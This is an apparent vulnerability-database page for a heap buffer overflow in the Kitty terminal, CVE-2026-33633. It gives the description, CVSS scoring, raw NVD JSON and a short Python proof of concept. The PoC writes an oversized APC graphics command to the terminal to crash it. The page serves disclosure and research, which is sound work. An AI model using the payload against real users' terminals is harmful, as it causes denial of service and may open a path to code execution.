Security Vulnerability Report
中文
CVE-2026-33633 CVSS 7.5 HIGH

CVE-2026-33633

Published: 2026-05-19 18:16:21
Last Modified: 2026-05-19 21:08:41

Description

Kitty is a cross-platform GPU based terminal. Versions 0.46.2 and below contain a heap buffer overflow in load_image_data() that allows any process which can write to the terminal's stdin to crash kitty immediately. The vulnerability is triggered by a single APC graphics protocol command with a PNG format declaration (f=100) whose payload exceeds twice the initial buffer capacity. The overflow is attacker-controlled in both length and content, causing DoS and potentially escalation to RCE itself. This issue has been fixed in version 0.47.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Kitty终端 <= 0.46.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33633 # This script generates a malicious APC graphics command to trigger the heap buffer overflow. import sys # Construct a large payload to exceed the buffer capacity # The vulnerability is triggered when the payload exceeds 2x the initial buffer size payload_size = 20000 malicious_payload = "A" * payload_size # Build the APC graphics protocol command # ESC _ G ... ESC \ # f=100 denotes PNG format poc_command = f"\x1b_Gf=100;{malicious_payload}\x1b\\" # Output the payload to the terminal's stdin sys.stdout.write(poc_command) sys.stdout.flush()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33633", "sourceIdentifier": "[email protected]", "published": "2026-05-19T18:16:21.343", "lastModified": "2026-05-19T21:08:41.030", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kitty is a cross-platform GPU based terminal. Versions 0.46.2 and below contain a heap buffer overflow in load_image_data() that allows any process which can write to the terminal's stdin to crash kitty immediately. The vulnerability is triggered by a single APC graphics protocol command with a PNG format declaration (f=100) whose payload exceeds twice the initial buffer capacity. The overflow is attacker-controlled in both length and content, causing DoS and potentially escalation to RCE itself. This issue has been fixed in version 0.47.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/kovidgoyal/kitty/commit/e9661f0f3afb4e4dbffa509adfb3df3c9780ad34", "source": "[email protected]"}, {"url": "https://github.com/kovidgoyal/kitty/security/advisories/GHSA-j68c-v8x4-269g", "source": "[email protected]"}, {"url": "https://github.com/kovidgoyal/kitty/security/advisories/GHSA-j68c-v8x4-269g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}